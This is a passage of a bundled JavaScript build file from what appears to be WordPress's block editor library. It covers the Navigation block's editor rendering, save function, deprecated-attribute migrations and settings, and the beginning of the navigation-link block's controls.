33140 label: (0,external_wp_i18n_namespaceObject.__)("Open on click")
33141 }
33142 )
33143 }
33144 ),
33145 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33146 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
33147 {
33148 hasValue: () => !showSubmenuIcon,
33149 label: (0,external_wp_i18n_namespaceObject.__)("Show arrow"),
33150 onDeselect: () => setAttributes({
33151 showSubmenuIcon: true
33152 }),
33153 isDisabled: attributes.openSubmenusOnClick,
33154 isShownByDefault: true,
33155 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33156 external_wp_components_namespaceObject.ToggleControl,
33157 {
33158 __nextHasNoMarginBottom: true,
33159 checked: showSubmenuIcon,
33160 onChange: (value) => {
33161 setAttributes({
33162 showSubmenuIcon: value
33163 });
33164 },
33165 disabled: attributes.openSubmenusOnClick,
33166 label: (0,external_wp_i18n_namespaceObject.__)("Show arrow")
33167 }
33168 )
33169 }
33170 ),
33171 submenuAccessibilityNotice && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33172 external_wp_components_namespaceObject.Notice,
33173 {
33174 spokenMessage: null,
33175 status: "warning",
33176 isDismissible: false,
33177 className: "wp-block-navigation__submenu-accessibility-notice",
33178 children: submenuAccessibilityNotice
33179 }
33180 )
33181 ] })
33182 ]
33183 }
33184 ) }),
33185 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "color", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33186 ColorTools,
33187 {
33188 textColor,
33189 setTextColor,
33190 backgroundColor,
33191 setBackgroundColor,
33192 overlayTextColor,
33193 setOverlayTextColor,
33194 overlayBackgroundColor,
33195 setOverlayBackgroundColor,
33196 clientId,
33197 navRef
33198 }
33199 ) })
33200 ] });
33201 const accessibleDescriptionId = `${clientId}-desc`;
33202 const isHiddenByDefault = "always" === overlayMenu;
33203 const isManageMenusButtonDisabled = !hasManagePermissions || !hasResolvedNavigationMenus;
33204 if (hasUnsavedBlocks && !isCreatingNavigationMenu) {
33205 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33206 TagName,
33207 {
33208 ...blockProps,
33209 "aria-describedby": !isPlaceholder ? accessibleDescriptionId : void 0,
33210 children: [
33211 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AccessibleDescription, { id: accessibleDescriptionId, children: (0,external_wp_i18n_namespaceObject.__)("Unsaved Navigation Menu.") }),
33212 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33213 menu_inspector_controls_default,
33214 {
33215 clientId,
33216 createNavigationMenuIsSuccess,
33217 createNavigationMenuIsError,
33218 currentMenuId: ref,
33219 isNavigationMenuMissing,
33220 isManageMenusButtonDisabled,
33221 onCreateNew: createUntitledEmptyNavigationMenu,
33222 onSelectClassicMenu,
33223 onSelectNavigationMenu,
33224 isLoading,
33225 blockEditingMode
33226 }
33227 ),
33228 blockEditingMode === "default" && stylingInspectorControls,
33229 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33230 ResponsiveWrapper,
33231 {
33232 id: clientId,
33233 onToggle: setResponsiveMenuVisibility,
33234 isOpen: isResponsiveMenuOpen,
33235 hasIcon,
33236 icon,
33237 isResponsive,
33238 isHiddenByDefault,
33239 overlayBackgroundColor,
33240 overlayTextColor,
33241 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33242 UnsavedInnerBlocks,
33243 {
33244 createNavigationMenu,
33245 blocks: uncontrolledInnerBlocks,
33246 hasSelection: isSelected || isInnerBlockSelected
33247 }
33248 )
33249 }
33250 )
33251 ]
33252 }
33253 );
33254 }
33255 if (ref && isNavigationMenuMissing) {
33256 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(TagName, { ...blockProps, children: [
33257 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33258 menu_inspector_controls_default,
33259 {
33260 clientId,
33261 createNavigationMenuIsSuccess,
33262 createNavigationMenuIsError,
33263 currentMenuId: ref,
33264 isNavigationMenuMissing,
33265 isManageMenusButtonDisabled,
33266 onCreateNew: createUntitledEmptyNavigationMenu,
33267 onSelectClassicMenu,
33268 onSelectNavigationMenu,
33269 isLoading,
33270 blockEditingMode
33271 }
33272 ),
33273 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33274 deleted_navigation_warning_default,
33275 {
33276 onCreateNew: createUntitledEmptyNavigationMenu
33277 }
33278 )
33279 ] });
33280 }
33281 if (isEntityAvailable && hasAlreadyRendered) {
33282 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Block cannot be rendered inside itself.") }) });
33283 }
33284 const PlaceholderComponent = CustomPlaceholder ? CustomPlaceholder : NavigationPlaceholder;
33285 if (isPlaceholder && CustomPlaceholder) {
33286 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33287 PlaceholderComponent,
33288 {
33289 isSelected,
33290 currentMenuId: ref,
33291 clientId,
33292 canUserCreateNavigationMenus,
33293 isResolvingCanUserCreateNavigationMenus,
33294 onSelectNavigationMenu,
33295 onSelectClassicMenu,
33296 onCreateEmpty: createUntitledEmptyNavigationMenu
33297 }
33298 ) });
33299 }
33300 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_coreData_namespaceObject.EntityProvider, { kind: "postType", type: "wp_navigation", id: ref, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.RecursionProvider, { uniqueId: recursionId, children: [
33301 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33302 menu_inspector_controls_default,
33303 {
33304 clientId,
33305 createNavigationMenuIsSuccess,
33306 createNavigationMenuIsError,
33307 currentMenuId: ref,
33308 isNavigationMenuMissing,
33309 isManageMenusButtonDisabled,
33310 onCreateNew: createUntitledEmptyNavigationMenu,
33311 onSelectClassicMenu,
33312 onSelectNavigationMenu,
33313 isLoading,
33314 blockEditingMode
33315 }
33316 ),
33317 blockEditingMode === "default" && stylingInspectorControls,
33318 blockEditingMode === "contentOnly" && isEntityAvailable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationAddPageButton, { clientId }),
33319 blockEditingMode === "default" && isEntityAvailable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: [
33320 hasResolvedCanUserUpdateNavigationMenu && canUserUpdateNavigationMenu && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationMenuNameControl, {}),
33321 hasResolvedCanUserDeleteNavigationMenu && canUserDeleteNavigationMenu && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33322 NavigationMenuDeleteControl,
33323 {
33324 onDelete: () => {
33325 replaceInnerBlocks(clientId, []);
33326 showNavigationMenuStatusNotice(
33327 (0,external_wp_i18n_namespaceObject.__)(
33328 "Navigation Menu successfully deleted."
33329 )
33330 );
33331 }
33332 }
33333 ),
33334 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33335 manage_menus_button_default,
33336 {
33337 disabled: isManageMenusButtonDisabled,
33338 className: "wp-block-navigation-manage-menus-button"
33339 }
33340 )
33341 ] }),
33342 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
33343 TagName,
33344 {
33345 ...blockProps,
33346 "aria-describedby": !isPlaceholder && !isLoading ? accessibleDescriptionId : void 0,
33347 children: [
33348 isLoading && !isHiddenByDefault && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-navigation__loading-indicator-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, { className: "wp-block-navigation__loading-indicator" }) }),
33349 (!isLoading || isHiddenByDefault) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
33350 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33351 AccessibleMenuDescription,
33352 {
33353 id: accessibleDescriptionId
33354 }
33355 ),
33356 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33357 ResponsiveWrapper,
33358 {
33359 id: clientId,
33360 onToggle: setResponsiveMenuVisibility,
33361 hasIcon,
33362 icon,
33363 isOpen: isResponsiveMenuOpen,
33364 isResponsive,
33365 isHiddenByDefault,
33366 overlayBackgroundColor,
33367 overlayTextColor,
33368 children: isEntityAvailable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
33369 NavigationInnerBlocks,
33370 {
33371 clientId,
33372 hasCustomPlaceholder: !!CustomPlaceholder,
33373 templateLock,
33374 orientation
33375 }
33376 )
33377 }
33378 )
33379 ] })
33380 ]
33381 }
33382 )
33383 ] }) });
33384}
33385var navigation_edit_edit_default = (0,external_wp_blockEditor_namespaceObject.withColors)(
33386 { textColor: "color" },
33387 { backgroundColor: "color" },
33388 { overlayBackgroundColor: "color" },
33389 { overlayTextColor: "color" }
33390)(Navigation);
33391
33392
33393;// ./node_modules/@wordpress/block-library/build-module/navigation/save.js
33394
33395
33396function navigation_save_save({ attributes }) {
33397 if (attributes.ref) {
33398 return;
33399 }
33400 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
33401}
33402
33403
33404;// ./node_modules/@wordpress/block-library/build-module/navigation/deprecated.js
33405
33406
33407
33408
33409const TYPOGRAPHY_PRESET_DEPRECATION_MAP = {
33410 fontStyle: "var:preset|font-style|",
33411 fontWeight: "var:preset|font-weight|",
33412 textDecoration: "var:preset|text-decoration|",
33413 textTransform: "var:preset|text-transform|"
33414};
33415const migrateIdToRef = ({ navigationMenuId, ...attributes }) => {
33416 return {
33417 ...attributes,
33418 ref: navigationMenuId
33419 };
33420};
33421const deprecated_migrateWithLayout = (attributes) => {
33422 if (!!attributes.layout) {
33423 return attributes;
33424 }
33425 const { itemsJustification, orientation, ...updatedAttributes } = attributes;
33426 if (itemsJustification || orientation) {
33427 Object.assign(updatedAttributes, {
33428 layout: {
33429 type: "flex",
33430 ...itemsJustification && {
33431 justifyContent: itemsJustification
33432 },
33433 ...orientation && { orientation }
33434 }
33435 });
33436 }
33437 return updatedAttributes;
33438};
33439const navigation_deprecated_v6 = {
33440 attributes: {
33441 navigationMenuId: {
33442 type: "number"
33443 },
33444 textColor: {
33445 type: "string"
33446 },
33447 customTextColor: {
33448 type: "string"
33449 },
33450 rgbTextColor: {
33451 type: "string"
33452 },
33453 backgroundColor: {
33454 type: "string"
33455 },
33456 customBackgroundColor: {
33457 type: "string"
33458 },
33459 rgbBackgroundColor: {
33460 type: "string"
33461 },
33462 showSubmenuIcon: {
33463 type: "boolean",
33464 default: true
33465 },
33466 openSubmenusOnClick: {
33467 type: "boolean",
33468 default: false
33469 },
33470 overlayMenu: {
33471 type: "string",
33472 default: "mobile"
33473 },
33474 __unstableLocation: {
33475 type: "string"
33476 },
33477 overlayBackgroundColor: {
33478 type: "string"
33479 },
33480 customOverlayBackgroundColor: {
33481 type: "string"
33482 },
33483 overlayTextColor: {
33484 type: "string"
33485 },
33486 customOverlayTextColor: {
33487 type: "string"
33488 }
33489 },
33490 supports: {
33491 align: ["wide", "full"],
33492 anchor: true,
33493 html: false,
33494 inserter: true,
33495 typography: {
33496 fontSize: true,
33497 lineHeight: true,
33498 __experimentalFontStyle: true,
33499 __experimentalFontWeight: true,
33500 __experimentalTextTransform: true,
33501 __experimentalFontFamily: true,
33502 __experimentalTextDecoration: true,
33503 __experimentalDefaultControls: {
33504 fontSize: true
33505 }
33506 },
33507 spacing: {
33508 blockGap: true,
33509 units: ["px", "em", "rem", "vh", "vw"],
33510 __experimentalDefaultControls: {
33511 blockGap: true
33512 }
33513 },
33514 layout: {
33515 allowSwitching: false,
33516 allowInheriting: false,
33517 default: {
33518 type: "flex"
33519 }
33520 }
33521 },
33522 save() {
33523 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
33524 },
33525 isEligible: ({ navigationMenuId }) => !!navigationMenuId,
33526 migrate: migrateIdToRef
33527};
33528const navigation_deprecated_v5 = {
33529 attributes: {
33530 navigationMenuId: {
33531 type: "number"
33532 },
33533 orientation: {
33534 type: "string",
33535 default: "horizontal"
33536 },
33537 textColor: {
33538 type: "string"
33539 },
33540 customTextColor: {
33541 type: "string"
33542 },
33543 rgbTextColor: {
33544 type: "string"
33545 },
33546 backgroundColor: {
33547 type: "string"
33548 },
33549 customBackgroundColor: {
33550 type: "string"
33551 },
33552 rgbBackgroundColor: {
33553 type: "string"
33554 },
33555 itemsJustification: {
33556 type: "string"
33557 },
33558 showSubmenuIcon: {
33559 type: "boolean",
33560 default: true
33561 },
33562 openSubmenusOnClick: {
33563 type: "boolean",
33564 default: false
33565 },
33566 overlayMenu: {
33567 type: "string",
33568 default: "never"
33569 },
33570 __unstableLocation: {
33571 type: "string"
33572 },
33573 overlayBackgroundColor: {
33574 type: "string"
33575 },
33576 customOverlayBackgroundColor: {
33577 type: "string"
33578 },
33579 overlayTextColor: {
33580 type: "string"
33581 },
33582 customOverlayTextColor: {
33583 type: "string"
33584 }
33585 },
33586 supports: {
33587 align: ["wide", "full"],
33588 anchor: true,
33589 html: false,
33590 inserter: true,
33591 typography: {
33592 fontSize: true,
33593 lineHeight: true,
33594 __experimentalFontStyle: true,
33595 __experimentalFontWeight: true,
33596 __experimentalTextTransform: true,
33597 __experimentalFontFamily: true,
33598 __experimentalTextDecoration: true,
33599 __experimentalDefaultControls: {
33600 fontSize: true
33601 }
33602 },
33603 spacing: {
33604 blockGap: true,
33605 units: ["px", "em", "rem", "vh", "vw"],
33606 __experimentalDefaultControls: {
33607 blockGap: true
33608 }
33609 }
33610 },
33611 save() {
33612 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
33613 },
33614 isEligible: ({ itemsJustification, orientation }) => !!itemsJustification || !!orientation,
33615 migrate: (0,external_wp_compose_namespaceObject.compose)(migrateIdToRef, deprecated_migrateWithLayout)
33616};
33617const navigation_deprecated_v4 = {
33618 attributes: {
33619 orientation: {
33620 type: "string",
33621 default: "horizontal"
33622 },
33623 textColor: {
33624 type: "string"
33625 },
33626 customTextColor: {
33627 type: "string"
33628 },
33629 rgbTextColor: {
33630 type: "string"
33631 },
33632 backgroundColor: {
33633 type: "string"
33634 },
33635 customBackgroundColor: {
33636 type: "string"
33637 },
33638 rgbBackgroundColor: {
33639 type: "string"
33640 },
33641 itemsJustification: {
33642 type: "string"
33643 },
33644 showSubmenuIcon: {
33645 type: "boolean",
33646 default: true
33647 },
33648 openSubmenusOnClick: {
33649 type: "boolean",
33650 default: false
33651 },
33652 overlayMenu: {
33653 type: "string",
33654 default: "never"
33655 },
33656 __unstableLocation: {
33657 type: "string"
33658 },
33659 overlayBackgroundColor: {
33660 type: "string"
33661 },
33662 customOverlayBackgroundColor: {
33663 type: "string"
33664 },
33665 overlayTextColor: {
33666 type: "string"
33667 },
33668 customOverlayTextColor: {
33669 type: "string"
33670 }
33671 },
33672 supports: {
33673 align: ["wide", "full"],
33674 anchor: true,
33675 html: false,
33676 inserter: true,
33677 typography: {
33678 fontSize: true,
33679 lineHeight: true,
33680 __experimentalFontStyle: true,
33681 __experimentalFontWeight: true,
33682 __experimentalTextTransform: true,
33683 __experimentalFontFamily: true,
33684 __experimentalTextDecoration: true
33685 },
33686 spacing: {
33687 blockGap: true,
33688 units: ["px", "em", "rem", "vh", "vw"],
33689 __experimentalDefaultControls: {
33690 blockGap: true
33691 }
33692 }
33693 },
33694 save() {
33695 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
33696 },
33697 migrate: (0,external_wp_compose_namespaceObject.compose)(migrateIdToRef, deprecated_migrateWithLayout, migrate_font_family_default),
33698 isEligible({ style }) {
33699 return style?.typography?.fontFamily;
33700 }
33701};
33702const migrateIsResponsive = function(attributes) {
33703 delete attributes.isResponsive;
33704 return {
33705 ...attributes,
33706 overlayMenu: "mobile"
33707 };
33708};
33709const migrateTypographyPresets = function(attributes) {
33710 return {
33711 ...attributes,
33712 style: {
33713 ...attributes.style,
33714 typography: Object.fromEntries(
33715 Object.entries(attributes.style.typography ?? {}).map(
33716 ([key, value]) => {
33717 const prefix = TYPOGRAPHY_PRESET_DEPRECATION_MAP[key];
33718 if (prefix && value.startsWith(prefix)) {
33719 const newValue = value.slice(prefix.length);
33720 if ("textDecoration" === key && "strikethrough" === newValue) {
33721 return [key, "line-through"];
33722 }
33723 return [key, newValue];
33724 }
33725 return [key, value];
33726 }
33727 )
33728 )
33729 }
33730 };
33731};
33732const navigation_deprecated_deprecated = [
33733 navigation_deprecated_v6,
33734 navigation_deprecated_v5,
33735 navigation_deprecated_v4,
33736 // Remove `isResponsive` attribute.
33737 {
33738 attributes: {
33739 orientation: {
33740 type: "string",
33741 default: "horizontal"
33742 },
33743 textColor: {
33744 type: "string"
33745 },
33746 customTextColor: {
33747 type: "string"
33748 },
33749 rgbTextColor: {
33750 type: "string"
33751 },
33752 backgroundColor: {
33753 type: "string"
33754 },
33755 customBackgroundColor: {
33756 type: "string"
33757 },
33758 rgbBackgroundColor: {
33759 type: "string"
33760 },
33761 itemsJustification: {
33762 type: "string"
33763 },
33764 showSubmenuIcon: {
33765 type: "boolean",
33766 default: true
33767 },
33768 openSubmenusOnClick: {
33769 type: "boolean",
33770 default: false
33771 },
33772 isResponsive: {
33773 type: "boolean",
33774 default: "false"
33775 },
33776 __unstableLocation: {
33777 type: "string"
33778 },
33779 overlayBackgroundColor: {
33780 type: "string"
33781 },
33782 customOverlayBackgroundColor: {
33783 type: "string"
33784 },
33785 overlayTextColor: {
33786 type: "string"
33787 },
33788 customOverlayTextColor: {
33789 type: "string"
33790 }
33791 },
33792 supports: {
33793 align: ["wide", "full"],
33794 anchor: true,
33795 html: false,
33796 inserter: true,
33797 typography: {
33798 fontSize: true,
33799 lineHeight: true,
33800 __experimentalFontStyle: true,
33801 __experimentalFontWeight: true,
33802 __experimentalTextTransform: true,
33803 __experimentalFontFamily: true,
33804 __experimentalTextDecoration: true
33805 }
33806 },
33807 isEligible(attributes) {
33808 return attributes.isResponsive;
33809 },
33810 migrate: (0,external_wp_compose_namespaceObject.compose)(
33811 migrateIdToRef,
33812 deprecated_migrateWithLayout,
33813 migrate_font_family_default,
33814 migrateIsResponsive
33815 ),
33816 save() {
33817 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
33818 }
33819 },
33820 {
33821 attributes: {
33822 orientation: {
33823 type: "string"
33824 },
33825 textColor: {
33826 type: "string"
33827 },
33828 customTextColor: {
33829 type: "string"
33830 },
33831 rgbTextColor: {
33832 type: "string"
33833 },
33834 backgroundColor: {
33835 type: "string"
33836 },
33837 customBackgroundColor: {
33838 type: "string"
33839 },
33840 rgbBackgroundColor: {
33841 type: "string"
33842 },
33843 itemsJustification: {
33844 type: "string"
33845 },
33846 showSubmenuIcon: {
33847 type: "boolean",
33848 default: true
33849 }
33850 },
33851 supports: {
33852 align: ["wide", "full"],
33853 anchor: true,
33854 html: false,
33855 inserter: true,
33856 fontSize: true,
33857 __experimentalFontStyle: true,
33858 __experimentalFontWeight: true,
33859 __experimentalTextTransform: true,
33860 color: true,
33861 __experimentalFontFamily: true,
33862 __experimentalTextDecoration: true
33863 },
33864 save() {
33865 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
33866 },
33867 isEligible(attributes) {
33868 if (!attributes.style || !attributes.style.typography) {
33869 return false;
33870 }
33871 for (const styleAttribute in TYPOGRAPHY_PRESET_DEPRECATION_MAP) {
33872 const attributeValue = attributes.style.typography[styleAttribute];
33873 if (attributeValue && attributeValue.startsWith(
33874 TYPOGRAPHY_PRESET_DEPRECATION_MAP[styleAttribute]
33875 )) {
33876 return true;
33877 }
33878 }
33879 return false;
33880 },
33881 migrate: (0,external_wp_compose_namespaceObject.compose)(
33882 migrateIdToRef,
33883 deprecated_migrateWithLayout,
33884 migrate_font_family_default,
33885 migrateTypographyPresets
33886 )
33887 },
33888 {
33889 attributes: {
33890 className: {
33891 type: "string"
33892 },
33893 textColor: {
33894 type: "string"
33895 },
33896 rgbTextColor: {
33897 type: "string"
33898 },
33899 backgroundColor: {
33900 type: "string"
33901 },
33902 rgbBackgroundColor: {
33903 type: "string"
33904 },
33905 fontSize: {
33906 type: "string"
33907 },
33908 customFontSize: {
33909 type: "number"
33910 },
33911 itemsJustification: {
33912 type: "string"
33913 },
33914 showSubmenuIcon: {
33915 type: "boolean"
33916 }
33917 },
33918 isEligible(attribute) {
33919 return attribute.rgbTextColor || attribute.rgbBackgroundColor;
33920 },
33921 supports: {
33922 align: ["wide", "full"],
33923 anchor: true,
33924 html: false,
33925 inserter: true
33926 },
33927 migrate: (0,external_wp_compose_namespaceObject.compose)(migrateIdToRef, (attributes) => {
33928 const { rgbTextColor, rgbBackgroundColor, ...restAttributes } = attributes;
33929 return {
33930 ...restAttributes,
33931 customTextColor: attributes.textColor ? void 0 : attributes.rgbTextColor,
33932 customBackgroundColor: attributes.backgroundColor ? void 0 : attributes.rgbBackgroundColor
33933 };
33934 }),
33935 save() {
33936 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
33937 }
33938 }
33939];
33940var navigation_deprecated_deprecated_default = navigation_deprecated_deprecated;
33941
33942
33943;// ./node_modules/@wordpress/block-library/build-module/navigation/index.js
33944
33945
33946
33947
33948
33949
33950
33951
33952
33953
33954const { name: navigation_name } = navigation_block_namespaceObject;
33955const navigation_settings = {
33956 icon: navigation_default,
33957 example: {
33958 attributes: {
33959 overlayMenu: "never"
33960 },
33961 innerBlocks: [
33962 {
33963 name: "core/navigation-link",
33964 attributes: {
33965 // translators: 'Home' as in a website's home page.
33966 label: (0,external_wp_i18n_namespaceObject.__)("Home"),
33967 url: "https://make.wordpress.org/"
33968 }
33969 },
33970 {
33971 name: "core/navigation-link",
33972 attributes: {
33973 // translators: 'About' as in a website's about page.
33974 label: (0,external_wp_i18n_namespaceObject.__)("About"),
33975 url: "https://make.wordpress.org/"
33976 }
33977 },
33978 {
33979 name: "core/navigation-link",
33980 attributes: {
33981 // translators: 'Contact' as in a website's contact page.
33982 label: (0,external_wp_i18n_namespaceObject.__)("Contact"),
33983 url: "https://make.wordpress.org/"
33984 }
33985 }
33986 ]
33987 },
33988 edit: navigation_edit_edit_default,
33989 save: navigation_save_save,
33990 __experimentalLabel: ({ ref }) => {
33991 if (!ref) {
33992 return;
33993 }
33994 const navigation = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
33995 "postType",
33996 "wp_navigation",
33997 ref
33998 );
33999 if (!navigation?.title) {
34000 return;
34001 }
34002 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(navigation.title);
34003 },
34004 deprecated: navigation_deprecated_deprecated_default
34005};
34006const navigation_init = () => initBlock({ name: navigation_name, metadata: navigation_block_namespaceObject, settings: navigation_settings });
34007
34008
34009;// ./node_modules/@wordpress/block-library/build-module/navigation-link/block.json
34010const navigation_link_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/navigation-link","title":"Custom Link","category":"design","parent":["core/navigation"],"allowedBlocks":["core/navigation-link","core/navigation-submenu","core/page-list"],"description":"Add a page, link, or another item to your navigation.","textdomain":"default","attributes":{"label":{"type":"string","role":"content"},"type":{"type":"string"},"description":{"type":"string"},"rel":{"type":"string"},"id":{"type":"number"},"opensInNewTab":{"type":"boolean","default":false},"url":{"type":"string"},"title":{"type":"string"},"kind":{"type":"string"},"isTopLevelLink":{"type":"boolean"}},"usesContext":["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","maxNestingLevel","style"],"supports":{"reusable":false,"html":false,"__experimentalSlashInserter":true,"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"renaming":false,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-navigation-link-editor","style":"wp-block-navigation-link"}');
34011;// ./node_modules/@wordpress/block-library/build-module/navigation-link/shared/controls.js
34012
34013
34014
34015
34016
34017
34018
34019
34020
34021
34022
34023
34024
34025function getEntityTypeName(type, kind) {
34026 if (kind === "post-type") {
34027 switch (type) {
34028 case "post":
34029 return (0,external_wp_i18n_namespaceObject.__)("post");
34030 case "page":
34031 return (0,external_wp_i18n_namespaceObject.__)("page");
34032 default:
34033 return type || (0,external_wp_i18n_namespaceObject.__)("post");
34034 }
34035 }
34036 if (kind === "taxonomy") {
34037 switch (type) {
34038 case "category":
34039 return (0,external_wp_i18n_namespaceObject.__)("category");
34040 case "tag":
34041 return (0,external_wp_i18n_namespaceObject.__)("tag");
34042 default:
34043 return type || (0,external_wp_i18n_namespaceObject.__)("term");
34044 }
34045 }
34046 return type || (0,external_wp_i18n_namespaceObject.__)("item");
34047}
34048function controls_Controls({ attributes, setAttributes, clientId }) {
34049 const { label, url, description, rel, opensInNewTab } = attributes;
34050 const lastURLRef = (0,external_wp_element_namespaceObject.useRef)(url);
34051 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
34052 const urlInputRef = (0,external_wp_element_namespaceObject.useRef)();
34053 const shouldFocusURLInputRef = (0,external_wp_element_namespaceObject.useRef)(false);
34054 const inputId = (0,external_wp_compose_namespaceObject.useInstanceId)(controls_Controls, "link-input");
34055 const helpTextId = `${inputId}__help`;
34056 const [inputValue, setInputValue] = (0,external_wp_element_namespaceObject.useState)(url);
34057 (0,external_wp_element_namespaceObject.useEffect)(() => {
34058 setInputValue(url);
34059 lastURLRef.current = url;
34060 }, [url]);
34061 const { hasUrlBinding, isBoundEntityAvailable, clearBinding } = useEntityBinding({
34062 clientId,
34063 attributes
34064 });
34065 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
34066 const unsyncBoundLink = () => {
34067 clearBinding();
34068 updateBlockAttributes(clientId, {
34069 url: lastURLRef.current,
34070 // set the lastURLRef as the new editable value so we avoid bugs from empty link states
34071 id: void 0
34072 });
34073 };
34074 (0,external_wp_element_namespaceObject.useEffect)(() => {
34075 if (!hasUrlBinding && shouldFocusURLInputRef.current) {
34076 urlInputRef.current?.select();
34077 }
34078 shouldFocusURLInputRef.current = false;
34079 }, [hasUrlBinding]);
34080 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
34081 external_wp_components_namespaceObject.__experimentalToolsPanel,
34082 {
34083 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
34084 resetAll: () => {
34085 setAttributes({
34086 label: "",
34087 url: "",
34088 description: "",
34089 rel: "",
34090 opensInNewTab: false
34091 });
34092 },
34093 dropdownMenuProps,
34094 children: [
34095 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34096 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
34097 {
34098 hasValue: () => !!label,
34099 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
34100 onDeselect: () => setAttributes({ label: "" }),
34101 isShownByDefault: true,
34102 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34103 external_wp_components_namespaceObject.TextControl,
34104 {
34105 __nextHasNoMarginBottom: true,
34106 __next40pxDefaultSize: true,
34107 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
34108 value: label ? (0,external_wp_dom_namespaceObject.__unstableStripHTML)(label) : "",
34109 onChange: (labelValue) => {
34110 setAttributes({ label: labelValue });
34111 },
34112 autoComplete: "off"
34113 }
34114 )
34115 }
34116 ),
34117 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34118 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
34119 {
34120 hasValue: () => !!url,
34121 label: (0,external_wp_i18n_namespaceObject.__)("Link"),
34122 onDeselect: () => setAttributes({ url: "" }),
34123 isShownByDefault: true,
34124 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34125 external_wp_components_namespaceObject.__experimentalInputControl,
34126 {
34127 ref: urlInputRef,
34128 __nextHasNoMarginBottom: true,
